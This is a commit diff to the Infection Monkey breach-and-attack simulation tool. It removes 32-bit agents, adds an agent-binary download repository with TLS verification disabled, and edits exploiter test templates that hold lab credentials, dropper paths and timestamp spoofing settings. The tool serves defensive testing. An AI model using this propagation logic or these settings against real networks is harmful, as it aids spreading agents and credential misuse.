forked from p15670423/monkey
commit
145078839d
|
@ -19,6 +19,7 @@ Changelog](https://keepachangelog.com/en/1.0.0/).
|
||||||
- The order and content of Monkey Island's initialization logging to give
|
- The order and content of Monkey Island's initialization logging to give
|
||||||
clearer instructions to the user and avoid confusion. #1684
|
clearer instructions to the user and avoid confusion. #1684
|
||||||
- The process list collection system info collector to now be a post-breach action. #1697
|
- The process list collection system info collector to now be a post-breach action. #1697
|
||||||
|
- The "/api/monkey/download" endpoint to accept an OS and return a file. #1675
|
||||||
|
|
||||||
### Removed
|
### Removed
|
||||||
- VSFTPD exploiter. #1533
|
- VSFTPD exploiter. #1533
|
||||||
|
@ -48,6 +49,7 @@ Changelog](https://keepachangelog.com/en/1.0.0/).
|
||||||
- ShellShock exploiter. #1733
|
- ShellShock exploiter. #1733
|
||||||
- ElasticGroovy exploiter. #1732
|
- ElasticGroovy exploiter. #1732
|
||||||
- T1082 attack technique report. #1754
|
- T1082 attack technique report. #1754
|
||||||
|
- 32-bit agents. #1675
|
||||||
|
|
||||||
### Fixed
|
### Fixed
|
||||||
- A bug in network map page that caused delay of telemetry log loading. #1545
|
- A bug in network map page that caused delay of telemetry log loading. #1545
|
||||||
|
@ -57,6 +59,10 @@ Changelog](https://keepachangelog.com/en/1.0.0/).
|
||||||
|
|
||||||
|
|
||||||
### Security
|
### Security
|
||||||
|
- Change SSH exploiter so that it does not set the permissions of the agent
|
||||||
|
binary in /tmp on the target system to 777, as this could allow a malicious
|
||||||
|
actor with local access to escalate their privileges. #1750
|
||||||
|
|
||||||
## [1.13.0] - 2022-01-25
|
## [1.13.0] - 2022-01-25
|
||||||
### Added
|
### Added
|
||||||
- A new exploiter that allows propagation via the Log4Shell vulnerability
|
- A new exploiter that allows propagation via the Log4Shell vulnerability
|
||||||
|
|
|
@ -42,9 +42,7 @@ download_monkey_agent_binaries() {
|
||||||
load_monkey_binary_config
|
load_monkey_binary_config
|
||||||
|
|
||||||
mkdir -p "${island_binaries_path}" || handle_error
|
mkdir -p "${island_binaries_path}" || handle_error
|
||||||
curl -L -o "${island_binaries_path}/${LINUX_32_BINARY_NAME}" "${LINUX_32_BINARY_URL}"
|
|
||||||
curl -L -o "${island_binaries_path}/${LINUX_64_BINARY_NAME}" "${LINUX_64_BINARY_URL}"
|
curl -L -o "${island_binaries_path}/${LINUX_64_BINARY_NAME}" "${LINUX_64_BINARY_URL}"
|
||||||
curl -L -o "${island_binaries_path}/${WINDOWS_32_BINARY_NAME}" "${WINDOWS_32_BINARY_URL}"
|
|
||||||
curl -L -o "${island_binaries_path}/${WINDOWS_64_BINARY_NAME}" "${WINDOWS_64_BINARY_URL}"
|
curl -L -o "${island_binaries_path}/${WINDOWS_64_BINARY_NAME}" "${WINDOWS_64_BINARY_URL}"
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
|
@ -25,15 +25,9 @@ get_latest_release() {
|
||||||
MONKEY_LATEST_RELEASE=$(get_latest_release "guardicore/monkey")
|
MONKEY_LATEST_RELEASE=$(get_latest_release "guardicore/monkey")
|
||||||
|
|
||||||
# Monkey binaries
|
# Monkey binaries
|
||||||
export LINUX_32_BINARY_NAME="monkey-linux-32"
|
|
||||||
export LINUX_32_BINARY_URL="https://github.com/guardicore/monkey/releases/download/$MONKEY_LATEST_RELEASE/monkey-linux-32"
|
|
||||||
|
|
||||||
export LINUX_64_BINARY_NAME="monkey-linux-64"
|
export LINUX_64_BINARY_NAME="monkey-linux-64"
|
||||||
export LINUX_64_BINARY_URL="https://github.com/guardicore/monkey/releases/download/$MONKEY_LATEST_RELEASE/monkey-linux-64"
|
export LINUX_64_BINARY_URL="https://github.com/guardicore/monkey/releases/download/$MONKEY_LATEST_RELEASE/monkey-linux-64"
|
||||||
|
|
||||||
export WINDOWS_32_BINARY_NAME="monkey-windows-32.exe"
|
|
||||||
export WINDOWS_32_BINARY_URL="https://github.com/guardicore/monkey/releases/download/$MONKEY_LATEST_RELEASE/monkey-windows-32.exe"
|
|
||||||
|
|
||||||
export WINDOWS_64_BINARY_NAME="monkey-windows-64.exe"
|
export WINDOWS_64_BINARY_NAME="monkey-windows-64.exe"
|
||||||
export WINDOWS_64_BINARY_URL="https://github.com/guardicore/monkey/releases/download/$MONKEY_LATEST_RELEASE/monkey-windows-64.exe"
|
export WINDOWS_64_BINARY_URL="https://github.com/guardicore/monkey/releases/download/$MONKEY_LATEST_RELEASE/monkey-windows-64.exe"
|
||||||
|
|
||||||
|
|
|
@ -12,12 +12,8 @@ $PYTHON_URL = "https://www.python.org/ftp/python/3.7.7/python-3.7.7-amd64.exe"
|
||||||
|
|
||||||
|
|
||||||
# Monkey binaries
|
# Monkey binaries
|
||||||
$LINUX_32_BINARY_URL = $MONKEY_DOWNLOAD_URL + "monkey-linux-32"
|
|
||||||
$LINUX_32_BINARY_PATH = "monkey-linux-32"
|
|
||||||
$LINUX_64_BINARY_URL = $MONKEY_DOWNLOAD_URL + "monkey-linux-64"
|
$LINUX_64_BINARY_URL = $MONKEY_DOWNLOAD_URL + "monkey-linux-64"
|
||||||
$LINUX_64_BINARY_PATH = "monkey-linux-64"
|
$LINUX_64_BINARY_PATH = "monkey-linux-64"
|
||||||
$WINDOWS_32_BINARY_URL = $MONKEY_DOWNLOAD_URL + "monkey-windows-32.exe"
|
|
||||||
$WINDOWS_32_BINARY_PATH = "monkey-windows-32.exe"
|
|
||||||
$WINDOWS_64_BINARY_URL = $MONKEY_DOWNLOAD_URL + "monkey-windows-64.exe"
|
$WINDOWS_64_BINARY_URL = $MONKEY_DOWNLOAD_URL + "monkey-windows-64.exe"
|
||||||
$WINDOWS_64_BINARY_PATH = "monkey-windows-64.exe"
|
$WINDOWS_64_BINARY_PATH = "monkey-windows-64.exe"
|
||||||
|
|
||||||
|
|
|
@ -93,7 +93,7 @@ log_message "Cloning files from git"
|
||||||
branch=${2:-"develop"}
|
branch=${2:-"develop"}
|
||||||
log_message "Branch selected: ${branch}"
|
log_message "Branch selected: ${branch}"
|
||||||
if [[ ! -d "$monkey_home/monkey" ]]; then # If not already cloned
|
if [[ ! -d "$monkey_home/monkey" ]]; then # If not already cloned
|
||||||
git clone --single-branch --recurse-submodules -b "$branch" "${MONKEY_GIT_URL}" "${monkey_home}" 2>&1 || handle_error
|
git clone --recurse-submodules -b "$branch" "${MONKEY_GIT_URL}" "${monkey_home}" 2>&1 || handle_error
|
||||||
fi
|
fi
|
||||||
|
|
||||||
# Create folders
|
# Create folders
|
||||||
|
@ -161,20 +161,15 @@ agents=${3:-true}
|
||||||
if [ "$agents" = true ] ; then
|
if [ "$agents" = true ] ; then
|
||||||
log_message "Downloading binaries"
|
log_message "Downloading binaries"
|
||||||
if exists wget; then
|
if exists wget; then
|
||||||
wget -c -N -P ${ISLAND_BINARIES_PATH} ${LINUX_32_BINARY_URL}
|
|
||||||
wget -c -N -P ${ISLAND_BINARIES_PATH} ${LINUX_64_BINARY_URL}
|
wget -c -N -P ${ISLAND_BINARIES_PATH} ${LINUX_64_BINARY_URL}
|
||||||
wget -c -N -P ${ISLAND_BINARIES_PATH} ${WINDOWS_32_BINARY_URL}
|
|
||||||
wget -c -N -P ${ISLAND_BINARIES_PATH} ${WINDOWS_64_BINARY_URL}
|
wget -c -N -P ${ISLAND_BINARIES_PATH} ${WINDOWS_64_BINARY_URL}
|
||||||
else
|
else
|
||||||
curl -o ${ISLAND_BINARIES_PATH}\monkey-linux-32 ${LINUX_32_BINARY_URL}
|
|
||||||
curl -o ${ISLAND_BINARIES_PATH}\monkey-linux-64 ${LINUX_64_BINARY_URL}
|
curl -o ${ISLAND_BINARIES_PATH}\monkey-linux-64 ${LINUX_64_BINARY_URL}
|
||||||
curl -o ${ISLAND_BINARIES_PATH}\monkey-windows-32.exe ${WINDOWS_32_BINARY_URL}
|
|
||||||
curl -o ${ISLAND_BINARIES_PATH}\monkey-windows-64.exe ${WINDOWS_64_BINARY_URL}
|
curl -o ${ISLAND_BINARIES_PATH}\monkey-windows-64.exe ${WINDOWS_64_BINARY_URL}
|
||||||
fi
|
fi
|
||||||
fi
|
fi
|
||||||
|
|
||||||
# Allow them to be executed
|
# Allow them to be executed
|
||||||
chmod a+x "$ISLAND_BINARIES_PATH/$LINUX_32_BINARY_NAME"
|
|
||||||
chmod a+x "$ISLAND_BINARIES_PATH/$LINUX_64_BINARY_NAME"
|
chmod a+x "$ISLAND_BINARIES_PATH/$LINUX_64_BINARY_NAME"
|
||||||
|
|
||||||
# If a user haven't installed mongo manually check if we can install it with our script
|
# If a user haven't installed mongo manually check if we can install it with our script
|
||||||
|
@ -207,8 +202,7 @@ if ! exists npm; then
|
||||||
fi
|
fi
|
||||||
|
|
||||||
pushd "$ISLAND_PATH/cc/ui" || handle_error
|
pushd "$ISLAND_PATH/cc/ui" || handle_error
|
||||||
npm install sass-loader node-sass webpack --save-dev
|
npm ci
|
||||||
npm update
|
|
||||||
|
|
||||||
log_message "Generating front end"
|
log_message "Generating front end"
|
||||||
npm run dist
|
npm run dist
|
||||||
|
|
|
@ -209,9 +209,7 @@ function Deploy-Windows([String] $monkey_home = (Get-Item -Path ".\").FullName,
|
||||||
"Adding binaries"
|
"Adding binaries"
|
||||||
$binaries = (Join-Path -Path $monkey_home -ChildPath $MONKEY_ISLAND_DIR | Join-Path -ChildPath "\cc\binaries")
|
$binaries = (Join-Path -Path $monkey_home -ChildPath $MONKEY_ISLAND_DIR | Join-Path -ChildPath "\cc\binaries")
|
||||||
New-Item -ItemType directory -path $binaries -ErrorAction SilentlyContinue
|
New-Item -ItemType directory -path $binaries -ErrorAction SilentlyContinue
|
||||||
$webClient.DownloadFile($LINUX_32_BINARY_URL, (Join-Path -Path $binaries -ChildPath $LINUX_32_BINARY_PATH))
|
|
||||||
$webClient.DownloadFile($LINUX_64_BINARY_URL, (Join-Path -Path $binaries -ChildPath $LINUX_64_BINARY_PATH))
|
$webClient.DownloadFile($LINUX_64_BINARY_URL, (Join-Path -Path $binaries -ChildPath $LINUX_64_BINARY_PATH))
|
||||||
$webClient.DownloadFile($WINDOWS_32_BINARY_URL, (Join-Path -Path $binaries -ChildPath $WINDOWS_32_BINARY_PATH))
|
|
||||||
$webClient.DownloadFile($WINDOWS_64_BINARY_URL, (Join-Path -Path $binaries -ChildPath $WINDOWS_64_BINARY_PATH))
|
$webClient.DownloadFile($WINDOWS_64_BINARY_URL, (Join-Path -Path $binaries -ChildPath $WINDOWS_64_BINARY_PATH))
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
|
@ -16,7 +16,7 @@ The agent (which we sometimes refer to as the Infection Monkey) is a single Pyth
|
||||||
|
|
||||||
In order to compile the Infection Monkey for distribution by the Monkey Island, you'll need to run the instructions listed in the [`readme.txt`](https://github.com/guardicore/monkey/blob/master/monkey/infection_monkey/readme.txt) on each supported environment.
|
In order to compile the Infection Monkey for distribution by the Monkey Island, you'll need to run the instructions listed in the [`readme.txt`](https://github.com/guardicore/monkey/blob/master/monkey/infection_monkey/readme.txt) on each supported environment.
|
||||||
|
|
||||||
This means setting up an environment with Linux 32/64-bit with Python installed and a Windows 64-bit machine with developer tools, along with 32/64-bit Python versions.
|
This means setting up an environment with Linux 64-bit with Python installed and a Windows 64-bit machine with developer tools, along with 64-bit Python versions.
|
||||||
|
|
||||||
## The Monkey Island
|
## The Monkey Island
|
||||||
|
|
||||||
|
|
|
@ -7,6 +7,9 @@ pre: "<i class='fas fa-play-circle'></i> "
|
||||||
tags: ["usage"]
|
tags: ["usage"]
|
||||||
---
|
---
|
||||||
|
|
||||||
|
|
||||||
|
<!-- TODO: Update screenshots -->
|
||||||
|
|
||||||
If you haven't deployed the Monkey Island yet, please [refer to our setup documentation](/setup).
|
If you haven't deployed the Monkey Island yet, please [refer to our setup documentation](/setup).
|
||||||
|
|
||||||
## Using the Infection Monkey
|
## Using the Infection Monkey
|
||||||
|
|
|
@ -8,7 +8,7 @@ class BaseTemplate(ConfigTemplate):
|
||||||
"basic.exploiters.exploiter_classes": [],
|
"basic.exploiters.exploiter_classes": [],
|
||||||
"basic_network.scope.local_network_scan": False,
|
"basic_network.scope.local_network_scan": False,
|
||||||
"basic_network.scope.depth": 1,
|
"basic_network.scope.depth": 1,
|
||||||
"internal.classes.finger_classes": ["PingScanner", "HTTPFinger"],
|
"internal.classes.finger_classes": ["HTTPFinger"],
|
||||||
"internal.monkey.system_info.system_info_collector_classes": [],
|
"internal.monkey.system_info.system_info_collector_classes": [],
|
||||||
"monkey.post_breach.post_breach_actions": [],
|
"monkey.post_breach.post_breach_actions": [],
|
||||||
"internal.general.keep_tunnel_open_time": 0,
|
"internal.general.keep_tunnel_open_time": 0,
|
||||||
|
|
|
@ -9,7 +9,7 @@ class Drupal(ConfigTemplate):
|
||||||
|
|
||||||
config_values.update(
|
config_values.update(
|
||||||
{
|
{
|
||||||
"internal.classes.finger_classes": ["PingScanner", "HTTPFinger"],
|
"internal.classes.finger_classes": ["HTTPFinger"],
|
||||||
"basic.exploiters.exploiter_classes": ["DrupalExploiter"],
|
"basic.exploiters.exploiter_classes": ["DrupalExploiter"],
|
||||||
"basic_network.scope.subnet_scan_list": ["10.2.2.28"],
|
"basic_network.scope.subnet_scan_list": ["10.2.2.28"],
|
||||||
"internal.network.tcp_scanner.HTTP_PORTS": [80],
|
"internal.network.tcp_scanner.HTTP_PORTS": [80],
|
||||||
|
|
|
@ -10,7 +10,7 @@ class Mssql(ConfigTemplate):
|
||||||
config_values.update(
|
config_values.update(
|
||||||
{
|
{
|
||||||
"basic.exploiters.exploiter_classes": ["MSSQLExploiter"],
|
"basic.exploiters.exploiter_classes": ["MSSQLExploiter"],
|
||||||
"internal.classes.finger_classes": ["PingScanner"],
|
"internal.classes.finger_classes": [],
|
||||||
"basic_network.scope.subnet_scan_list": ["10.2.2.16"],
|
"basic_network.scope.subnet_scan_list": ["10.2.2.16"],
|
||||||
"basic.credentials.exploit_password_list": [
|
"basic.credentials.exploit_password_list": [
|
||||||
"Password1!",
|
"Password1!",
|
||||||
|
|
|
@ -21,7 +21,7 @@ class PowerShell(ConfigTemplate):
|
||||||
"basic.credentials.exploit_password_list": ["Passw0rd!"],
|
"basic.credentials.exploit_password_list": ["Passw0rd!"],
|
||||||
"basic_network.scope.depth": 2,
|
"basic_network.scope.depth": 2,
|
||||||
"basic.credentials.exploit_user_list": ["m0nk3y", "m0nk3y-user"],
|
"basic.credentials.exploit_user_list": ["m0nk3y", "m0nk3y-user"],
|
||||||
"internal.classes.finger_classes": ["PingScanner"],
|
"internal.classes.finger_classes": [],
|
||||||
"internal.network.tcp_scanner.HTTP_PORTS": [],
|
"internal.network.tcp_scanner.HTTP_PORTS": [],
|
||||||
"internal.network.tcp_scanner.tcp_target_ports": [],
|
"internal.network.tcp_scanner.tcp_target_ports": [],
|
||||||
"internal.exploits.exploit_ntlm_hash_list": [
|
"internal.exploits.exploit_ntlm_hash_list": [
|
||||||
|
|
|
@ -14,7 +14,7 @@ class PowerShellCredentialsReuse(ConfigTemplate):
|
||||||
"10.2.3.46",
|
"10.2.3.46",
|
||||||
],
|
],
|
||||||
"basic_network.scope.depth": 2,
|
"basic_network.scope.depth": 2,
|
||||||
"internal.classes.finger_classes": ["PingScanner"],
|
"internal.classes.finger_classes": [],
|
||||||
"internal.network.tcp_scanner.HTTP_PORTS": [],
|
"internal.network.tcp_scanner.HTTP_PORTS": [],
|
||||||
"internal.network.tcp_scanner.tcp_target_ports": [],
|
"internal.network.tcp_scanner.tcp_target_ports": [],
|
||||||
}
|
}
|
||||||
|
|
|
@ -13,7 +13,7 @@ class SmbMimikatz(ConfigTemplate):
|
||||||
"basic_network.scope.subnet_scan_list": ["10.2.2.14", "10.2.2.15"],
|
"basic_network.scope.subnet_scan_list": ["10.2.2.14", "10.2.2.15"],
|
||||||
"basic.credentials.exploit_password_list": ["Password1!", "Ivrrw5zEzs"],
|
"basic.credentials.exploit_password_list": ["Password1!", "Ivrrw5zEzs"],
|
||||||
"basic.credentials.exploit_user_list": ["Administrator", "m0nk3y", "user"],
|
"basic.credentials.exploit_user_list": ["Administrator", "m0nk3y", "user"],
|
||||||
"internal.classes.finger_classes": ["SMBFinger", "PingScanner", "HTTPFinger"],
|
"internal.classes.finger_classes": ["SMBFinger", "HTTPFinger"],
|
||||||
"internal.network.tcp_scanner.HTTP_PORTS": [],
|
"internal.network.tcp_scanner.HTTP_PORTS": [],
|
||||||
"internal.network.tcp_scanner.tcp_target_ports": [445],
|
"internal.network.tcp_scanner.tcp_target_ports": [445],
|
||||||
"monkey.system_info.system_info_collector_classes": [
|
"monkey.system_info.system_info_collector_classes": [
|
||||||
|
|
|
@ -13,7 +13,7 @@ class SmbPth(ConfigTemplate):
|
||||||
"basic_network.scope.subnet_scan_list": ["10.2.2.15"],
|
"basic_network.scope.subnet_scan_list": ["10.2.2.15"],
|
||||||
"basic.credentials.exploit_password_list": ["Password1!", "Ivrrw5zEzs"],
|
"basic.credentials.exploit_password_list": ["Password1!", "Ivrrw5zEzs"],
|
||||||
"basic.credentials.exploit_user_list": ["Administrator", "m0nk3y", "user"],
|
"basic.credentials.exploit_user_list": ["Administrator", "m0nk3y", "user"],
|
||||||
"internal.classes.finger_classes": ["SMBFinger", "PingScanner", "HTTPFinger"],
|
"internal.classes.finger_classes": ["SMBFinger", "HTTPFinger"],
|
||||||
"internal.network.tcp_scanner.HTTP_PORTS": [],
|
"internal.network.tcp_scanner.HTTP_PORTS": [],
|
||||||
"internal.network.tcp_scanner.tcp_target_ports": [445],
|
"internal.network.tcp_scanner.tcp_target_ports": [445],
|
||||||
"internal.classes.exploits.exploit_ntlm_hash_list": [
|
"internal.classes.exploits.exploit_ntlm_hash_list": [
|
||||||
|
|
|
@ -14,7 +14,7 @@ class Ssh(ConfigTemplate):
|
||||||
"basic.credentials.exploit_password_list": ["Password1!", "12345678", "^NgDvY59~8"],
|
"basic.credentials.exploit_password_list": ["Password1!", "12345678", "^NgDvY59~8"],
|
||||||
"basic_network.scope.depth": 2,
|
"basic_network.scope.depth": 2,
|
||||||
"basic.credentials.exploit_user_list": ["Administrator", "m0nk3y", "user"],
|
"basic.credentials.exploit_user_list": ["Administrator", "m0nk3y", "user"],
|
||||||
"internal.classes.finger_classes": ["SSHFinger", "PingScanner"],
|
"internal.classes.finger_classes": ["SSHFinger"],
|
||||||
"internal.network.tcp_scanner.HTTP_PORTS": [],
|
"internal.network.tcp_scanner.HTTP_PORTS": [],
|
||||||
"internal.network.tcp_scanner.tcp_target_ports": [22],
|
"internal.network.tcp_scanner.tcp_target_ports": [22],
|
||||||
}
|
}
|
||||||
|
|
|
@ -28,7 +28,6 @@ class Tunneling(ConfigTemplate):
|
||||||
"basic.credentials.exploit_user_list": ["Administrator", "m0nk3y", "user"],
|
"basic.credentials.exploit_user_list": ["Administrator", "m0nk3y", "user"],
|
||||||
"internal.classes.finger_classes": [
|
"internal.classes.finger_classes": [
|
||||||
"SSHFinger",
|
"SSHFinger",
|
||||||
"PingScanner",
|
|
||||||
"HTTPFinger",
|
"HTTPFinger",
|
||||||
"SMBFinger",
|
"SMBFinger",
|
||||||
],
|
],
|
||||||
|
|
|
@ -13,7 +13,7 @@ class WmiPth(ConfigTemplate):
|
||||||
"basic_network.scope.subnet_scan_list": ["10.2.2.15"],
|
"basic_network.scope.subnet_scan_list": ["10.2.2.15"],
|
||||||
"basic.credentials.exploit_password_list": ["Password1!"],
|
"basic.credentials.exploit_password_list": ["Password1!"],
|
||||||
"basic.credentials.exploit_user_list": ["Administrator", "m0nk3y", "user"],
|
"basic.credentials.exploit_user_list": ["Administrator", "m0nk3y", "user"],
|
||||||
"internal.classes.finger_classes": ["PingScanner", "HTTPFinger"],
|
"internal.classes.finger_classes": ["HTTPFinger"],
|
||||||
"internal.network.tcp_scanner.HTTP_PORTS": [],
|
"internal.network.tcp_scanner.HTTP_PORTS": [],
|
||||||
"internal.network.tcp_scanner.tcp_target_ports": [135],
|
"internal.network.tcp_scanner.tcp_target_ports": [135],
|
||||||
"internal.exploits.exploit_ntlm_hash_list": [
|
"internal.exploits.exploit_ntlm_hash_list": [
|
||||||
|
|
|
@ -89,7 +89,6 @@ class Configuration(object):
|
||||||
dropper_set_date = True
|
dropper_set_date = True
|
||||||
dropper_date_reference_path_windows = r"%windir%\system32\kernel32.dll"
|
dropper_date_reference_path_windows = r"%windir%\system32\kernel32.dll"
|
||||||
dropper_date_reference_path_linux = "/bin/sh"
|
dropper_date_reference_path_linux = "/bin/sh"
|
||||||
dropper_target_path_win_32 = r"C:\Windows\temp\monkey32.exe"
|
|
||||||
dropper_target_path_win_64 = r"C:\Windows\temp\monkey64.exe"
|
dropper_target_path_win_64 = r"C:\Windows\temp\monkey64.exe"
|
||||||
dropper_target_path_linux = "/tmp/monkey"
|
dropper_target_path_linux = "/tmp/monkey"
|
||||||
|
|
||||||
|
|
|
@ -8,7 +8,6 @@ from urllib.parse import urljoin
|
||||||
import requests
|
import requests
|
||||||
from requests.exceptions import ConnectionError
|
from requests.exceptions import ConnectionError
|
||||||
|
|
||||||
import infection_monkey.monkeyfs as monkeyfs
|
|
||||||
import infection_monkey.tunnel as tunnel
|
import infection_monkey.tunnel as tunnel
|
||||||
from common.common_consts.api_url_consts import T1216_PBA_FILE_DOWNLOAD_PATH
|
from common.common_consts.api_url_consts import T1216_PBA_FILE_DOWNLOAD_PATH
|
||||||
from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT, MEDIUM_REQUEST_TIMEOUT
|
from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT, MEDIUM_REQUEST_TIMEOUT
|
||||||
|
@ -259,22 +258,6 @@ class ControlClient(object):
|
||||||
ControlClient.load_control_config()
|
ControlClient.load_control_config()
|
||||||
return not WormConfiguration.alive
|
return not WormConfiguration.alive
|
||||||
|
|
||||||
@staticmethod
|
|
||||||
def download_monkey_exe(host):
|
|
||||||
filename, size = ControlClient.get_monkey_exe_filename_and_size_by_host(host)
|
|
||||||
if filename is None:
|
|
||||||
return None
|
|
||||||
return ControlClient.download_monkey_exe_by_filename(filename, size)
|
|
||||||
|
|
||||||
@staticmethod
|
|
||||||
def download_monkey_exe_by_os(is_windows, is_32bit):
|
|
||||||
filename, size = ControlClient.get_monkey_exe_filename_and_size_by_host_dict(
|
|
||||||
ControlClient.spoof_host_os_info(is_windows, is_32bit)
|
|
||||||
)
|
|
||||||
if filename is None:
|
|
||||||
return None
|
|
||||||
return ControlClient.download_monkey_exe_by_filename(filename, size)
|
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def spoof_host_os_info(is_windows, is_32bit):
|
def spoof_host_os_info(is_windows, is_32bit):
|
||||||
if is_windows:
|
if is_windows:
|
||||||
|
@ -292,70 +275,6 @@ class ControlClient(object):
|
||||||
|
|
||||||
return {"os": {"type": os, "machine": arch}}
|
return {"os": {"type": os, "machine": arch}}
|
||||||
|
|
||||||
@staticmethod
|
|
||||||
def download_monkey_exe_by_filename(filename, size):
|
|
||||||
if not WormConfiguration.current_server:
|
|
||||||
return None
|
|
||||||
try:
|
|
||||||
dest_file = monkeyfs.virtual_path(filename)
|
|
||||||
if (monkeyfs.isfile(dest_file)) and (size == monkeyfs.getsize(dest_file)):
|
|
||||||
return dest_file
|
|
||||||
else:
|
|
||||||
download = requests.get( # noqa: DUO123
|
|
||||||
"https://%s/api/monkey/download/%s"
|
|
||||||
% (WormConfiguration.current_server, filename),
|
|
||||||
verify=False,
|
|
||||||
proxies=ControlClient.proxies,
|
|
||||||
timeout=MEDIUM_REQUEST_TIMEOUT,
|
|
||||||
)
|
|
||||||
|
|
||||||
with monkeyfs.open(dest_file, "wb") as file_obj:
|
|
||||||
for chunk in download.iter_content(chunk_size=DOWNLOAD_CHUNK):
|
|
||||||
if chunk:
|
|
||||||
file_obj.write(chunk)
|
|
||||||
file_obj.flush()
|
|
||||||
if size == monkeyfs.getsize(dest_file):
|
|
||||||
return dest_file
|
|
||||||
|
|
||||||
except Exception as exc:
|
|
||||||
logger.warning(
|
|
||||||
"Error connecting to control server %s: %s", WormConfiguration.current_server, exc
|
|
||||||
)
|
|
||||||
|
|
||||||
@staticmethod
|
|
||||||
def get_monkey_exe_filename_and_size_by_host(host):
|
|
||||||
return ControlClient.get_monkey_exe_filename_and_size_by_host_dict(host.as_dict())
|
|
||||||
|
|
||||||
@staticmethod
|
|
||||||
def get_monkey_exe_filename_and_size_by_host_dict(host_dict):
|
|
||||||
if not WormConfiguration.current_server:
|
|
||||||
return None, None
|
|
||||||
try:
|
|
||||||
reply = requests.post( # noqa: DUO123
|
|
||||||
"https://%s/api/monkey/download" % (WormConfiguration.current_server,),
|
|
||||||
data=json.dumps(host_dict),
|
|
||||||
headers={"content-type": "application/json"},
|
|
||||||
verify=False,
|
|
||||||
proxies=ControlClient.proxies,
|
|
||||||
timeout=LONG_REQUEST_TIMEOUT,
|
|
||||||
)
|
|
||||||
if 200 == reply.status_code:
|
|
||||||
result_json = reply.json()
|
|
||||||
filename = result_json.get("filename")
|
|
||||||
if not filename:
|
|
||||||
return None, None
|
|
||||||
size = result_json.get("size")
|
|
||||||
return filename, size
|
|
||||||
else:
|
|
||||||
return None, None
|
|
||||||
|
|
||||||
except Exception as exc:
|
|
||||||
logger.warning(
|
|
||||||
"Error connecting to control server %s: %s", WormConfiguration.current_server, exc
|
|
||||||
)
|
|
||||||
|
|
||||||
return None, None
|
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def create_control_tunnel():
|
def create_control_tunnel():
|
||||||
if not WormConfiguration.current_server:
|
if not WormConfiguration.current_server:
|
||||||
|
|
|
@ -19,7 +19,6 @@
|
||||||
"dropper_log_path_windows": "%temp%\\~df1562.tmp",
|
"dropper_log_path_windows": "%temp%\\~df1562.tmp",
|
||||||
"dropper_log_path_linux": "/tmp/user-1562",
|
"dropper_log_path_linux": "/tmp/user-1562",
|
||||||
"dropper_set_date": true,
|
"dropper_set_date": true,
|
||||||
"dropper_target_path_win_32": "C:\\Windows\\temp\\monkey32.exe",
|
|
||||||
"dropper_target_path_win_64": "C:\\Windows\\temp\\monkey64.exe",
|
"dropper_target_path_win_64": "C:\\Windows\\temp\\monkey64.exe",
|
||||||
"dropper_target_path_linux": "/tmp/monkey",
|
"dropper_target_path_linux": "/tmp/monkey",
|
||||||
|
|
||||||
|
|
|
@ -9,6 +9,8 @@ from infection_monkey.config import WormConfiguration
|
||||||
from infection_monkey.i_puppet import ExploiterResultData
|
from infection_monkey.i_puppet import ExploiterResultData
|
||||||
from infection_monkey.telemetry.messengers.i_telemetry_messenger import ITelemetryMessenger
|
from infection_monkey.telemetry.messengers.i_telemetry_messenger import ITelemetryMessenger
|
||||||
|
|
||||||
|
from . import IAgentRepository
|
||||||
|
|
||||||
logger = logging.getLogger(__name__)
|
logger = logging.getLogger(__name__)
|
||||||
|
|
||||||
|
|
||||||
|
@ -67,9 +69,16 @@ class HostExploiter:
|
||||||
)
|
)
|
||||||
|
|
||||||
# TODO: host should be VictimHost, at the moment it can't because of circular dependency
|
# TODO: host should be VictimHost, at the moment it can't because of circular dependency
|
||||||
def exploit_host(self, host, telemetry_messenger: ITelemetryMessenger, options: Dict):
|
def exploit_host(
|
||||||
|
self,
|
||||||
|
host,
|
||||||
|
telemetry_messenger: ITelemetryMessenger,
|
||||||
|
agent_repository: IAgentRepository,
|
||||||
|
options: Dict,
|
||||||
|
):
|
||||||
self.host = host
|
self.host = host
|
||||||
self.telemetry_messenger = telemetry_messenger
|
self.telemetry_messenger = telemetry_messenger
|
||||||
|
self.agent_repository = agent_repository
|
||||||
self.options = options
|
self.options = options
|
||||||
|
|
||||||
self.pre_exploit()
|
self.pre_exploit()
|
||||||
|
|
|
@ -1 +1,3 @@
|
||||||
|
from .i_agent_repository import IAgentRepository
|
||||||
|
from .caching_agent_repository import CachingAgentRepository
|
||||||
from .exploiter_wrapper import ExploiterWrapper
|
from .exploiter_wrapper import ExploiterWrapper
|
||||||
|
|
|
@ -0,0 +1,37 @@
|
||||||
|
import io
|
||||||
|
from functools import lru_cache
|
||||||
|
from typing import Mapping
|
||||||
|
|
||||||
|
import requests
|
||||||
|
|
||||||
|
from common.common_consts.timeouts import MEDIUM_REQUEST_TIMEOUT
|
||||||
|
|
||||||
|
from . import IAgentRepository
|
||||||
|
|
||||||
|
|
||||||
|
class CachingAgentRepository(IAgentRepository):
|
||||||
|
"""
|
||||||
|
CachingAgentRepository implements the IAgentRepository interface and downloads the requested
|
||||||
|
agent binary from the island on request. The agent binary is cached so that only one request is
|
||||||
|
actually sent to the island for each requested binary.
|
||||||
|
"""
|
||||||
|
|
||||||
|
def __init__(self, island_url: str, proxies: Mapping[str, str]):
|
||||||
|
self._island_url = island_url
|
||||||
|
self._proxies = proxies
|
||||||
|
|
||||||
|
def get_agent_binary(self, os: str, _: str = None) -> io.BytesIO:
|
||||||
|
return io.BytesIO(self._download_binary_from_island(os))
|
||||||
|
|
||||||
|
@lru_cache(maxsize=None)
|
||||||
|
def _download_binary_from_island(self, os: str) -> bytes:
|
||||||
|
response = requests.get( # noqa: DUO123
|
||||||
|
f"{self._island_url}/api/monkey/download/{os}",
|
||||||
|
verify=False,
|
||||||
|
proxies=self._proxies,
|
||||||
|
timeout=MEDIUM_REQUEST_TIMEOUT,
|
||||||
|
)
|
||||||
|
|
||||||
|
response.raise_for_status()
|
||||||
|
|
||||||
|
return response.content
|
|
@ -3,6 +3,7 @@ from typing import Dict, Type
|
||||||
from infection_monkey.model import VictimHost
|
from infection_monkey.model import VictimHost
|
||||||
from infection_monkey.telemetry.messengers.i_telemetry_messenger import ITelemetryMessenger
|
from infection_monkey.telemetry.messengers.i_telemetry_messenger import ITelemetryMessenger
|
||||||
|
|
